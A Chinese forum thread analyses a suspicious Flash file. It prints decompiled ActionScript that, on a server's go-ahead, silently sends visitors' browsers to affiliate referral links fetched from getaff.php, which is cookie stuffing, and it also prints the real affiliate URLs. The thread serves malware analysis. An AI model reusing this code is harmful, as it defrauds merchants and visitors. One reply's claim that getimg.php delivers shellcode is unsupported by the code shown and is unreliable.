求分析一段代码，是钓鱼的还是挂马的？

stick

google和firefox貌似只会分析出恶意的js代码
swf挂马，就是利用老版本flash空间的漏洞，构造带shellcode的字符串，在调用某个函数的时候溢出执行代码，多半是download and excute

wdlth

1. package custom_fla
   
2. {
   
3.     import flash.display.*;
   
4.     import flash.events.*;
   
5.     import flash.net.*;
   
6.     import flash.text.*;
   
7. 
   
8.     dynamic public class MainTimeline extends MovieClip
   
9.     {
   
10.         public var swfLocation:Array;
    
11.         public var imageArea:MovieClip;
    
12.         public var swfDirectory:String;
    
13.         public var imageLoader:Loader;
    
14.         public var output_main:TextField;
    
15. 
    
16.         public function MainTimeline()
    
17.         {
    
18.             addFrameScript(0, this.frame1);
    
19.             return;
    
20.         }// end function
    
21. 
    
22.         public function imageLoaded(event:Event) : void
    
23.         {
    
24.             this.imageArea.addChild(this.imageLoader);
    
25.             return;
    
26.         }// end function
    
27. 
    
28.         public function imageLoading(event:ProgressEvent) : void
    
29.         {
    
30.             return;
    
31.         }// end function
    
32. 
    
33.         function frame1()
    
34.         {
    
35.             this.swfLocation = this.loaderInfo.url.split("/");
    
36.             this.swfDirectory = this.loaderInfo.url.substr(0, this.loaderInfo.url.length - this.swfLocation[(this.swfLocation.length - 1)].length);
    
37.             this.bgimg();
    
38.             this.output_main.text = this.output_main.text + "\n" + "Start stuffer";
    
39.             return;
    
40.         }// end function
    
41. 
    
42.         public function getaff()
    
43.         {
    
44.             var affLoader:URLLoader;
    
45.             var _affurl:String;
    
46.             var _trackref:String;
    
47.             var onLoaded:Function;
    
48.             onLoaded = function (event:Event) : void
    
49.             {
    
50.                 var keyStr:String;
    
51.                 var valueStr:*;
    
52.                 var evt:* = event;
    
53.                 var strSplit:* = affLoader.data.split("&&&&&");
    
54.                 try
    
55.                 {
    
56.                     var _loc_3:int = 0;
    
57.                     var _loc_4:* = strSplit;
    
58.                     while (_loc_4 in _loc_3)
    
59.                     {
    
60.                         
    
61.                         keyStr = _loc_4[_loc_3];
    
62.                         valueStr = String(strSplit[keyStr]);
    
63.                         output_main.text = output_main.text + "\n URL: " + valueStr;
    
64.                         stuff(valueStr);
    
65.                     }
    
66.                     stuff("http://www.google.com");
    
67.                 }
    
68.                 catch (error:Error)
    
69.                 {
    
70.                     trace("error in loading");
    
71.                 }
    
72.                 return;
    
73.             }// end function
    
74.             ;
    
75.             var affRequest:* = new URLRequest(this.swfDirectory + "getaff.php");
    
76.             affLoader = new URLLoader();
    
77.             var affVariables:* = new URLVariables();
    
78.             affRequest.method = URLRequestMethod.GET;
    
79.             affRequest.data = affVariables;
    
80.             affLoader.addEventListener(Event.COMPLETE, onLoaded);
    
81.             affLoader.load(affRequest);
    
82.             return;
    
83.         }// end function
    
84. 
    
85.         public function stuff(param1)
    
86.         {
    
87.             var stlink:* = param1;
    
88.             this.output_main.text = this.output_main.text + "\n Stuff this url: " + stlink;
    
89.             var stuffRequest:* = new URLRequest(stlink);
    
90.             var stuffLoader:* = new URLLoader();
    
91.             var stuffVariables:* = new URLVariables();
    
92.             try
    
93.             {
    
94.                 sendToURL(stuffRequest);
    
95.             }
    
96.             catch (e:Error)
    
97.             {
    
98.             }
    
99.             return;
    
100.         }// end function
     
101. 
     
102.         public function loadImage(param1:String) : void
     
103.         {
     
104.             this.imageLoader = new Loader();
     
105.             this.imageLoader.load(new URLRequest(param1));
     
106.             this.imageLoader.contentLoaderInfo.addEventListener(ProgressEvent.PROGRESS, this.imageLoading);
     
107.             this.imageLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, this.imageLoaded);
     
108.             return;
     
109.         }// end function
     
110. 
     
111.         public function track()
     
112.         {
     
113.             var trackLoader:URLLoader;
     
114.             var onLoaded2:Function;
     
115.             onLoaded2 = function (event:Event) : void
     
116.             {
     
117.                 var _loc_2:* = trackLoader.data.split("&");
     
118.                 var _loc_3:* = _loc_2[1].split("=");
     
119.                 var _loc_4:* = _loc_3[1];
     
120.                 output_main.text = output_main.text + "\n" + trackLoader.data;
     
121.                 if (_loc_4 == "proceed")
     
122.                 {
     
123.                     output_main.text = output_main.text + "\n Stuff";
     
124.                     getaff();
     
125.                 }
     
126.                 else
     
127.                 {
     
128.                     output_main.text = output_main.text + "\n Do not stuff";
     
129.                 }
     
130.                 return;
     
131.             }// end function
     
132.             ;
     
133.             var trackRequest:* = new URLRequest(this.swfDirectory + "track.php");
     
134.             trackLoader = new URLLoader();
     
135.             var trackVariables:* = new URLVariables();
     
136.             trackRequest.method = URLRequestMethod.GET;
     
137.             trackRequest.data = trackVariables;
     
138.             trackLoader.addEventListener(Event.COMPLETE, onLoaded2);
     
139.             trackLoader.load(trackRequest);
     
140.             return;
     
141.         }// end function
     
142. 
     
143.         public function bgimg()
     
144.         {
     
145.             var imgLoader:URLLoader;
     
146.             var onLoaded4:Function;
     
147.             onLoaded4 = function (event:Event) : void
     
148.             {
     
149.                 loadImage(imgLoader.data);
     
150.                 track();
     
151.                 return;
     
152.             }// end function
     
153.             ;
     
154.             var imgRequest:* = new URLRequest(this.swfDirectory + "getimg.php");
     
155.             imgLoader = new URLLoader();
     
156.             var imgVariables:* = new URLVariables();
     
157.             imgRequest.method = URLRequestMethod.GET;
     
158.             imgRequest.data = imgVariables;
     
159.             imgLoader.addEventListener(Event.COMPLETE, onLoaded4);
     
160.             imgLoader.load(imgRequest);
     
161.             return;
     
162.         }// end function
     
163. 
     
164.     }
     
165. }

复制代码

qiqi13245

貌似是java语言。。

wdlth

getaff.php的代码是

1. http://atq.ck.valuecommerce.com/servlet/atq/referral?sid=2219441&pid=877212733&vcptn=shpg%2Fp%2FCddioIIDHa82DOm_UXiASQU6sLY-&vc_url=http%3A%2F%2Fshopping.yahoo.co.jp%2F&&&&&http://**azon.co.jp/gp/redirect.html?ie=UTF8&location=http%3A%2F%2F**azon.co.jp%2F&tag=fujittchi-22&linkCode=ur2&camp=247&creative=1211&&&&&http://www.google.com

复制代码

Value Commerce——按交易量收取报酬的广告模式，应该是个刷流量之类的，注意可能会spam或者变恶意网站。

stick

imgLoader.load(imgRequest);
在swf构造http请求，那么shellcode应该是由getimg.php输出
大体就是，旧版本的flash控件在载入image对象的时候可能会溢出
就是挂马，否则也是间谍软件

诱惑这么大看你咯，我估计你做游戏主题的

stick

16#导出getimg.php的内容了也，如果只是加载广告代码而已，应该无事的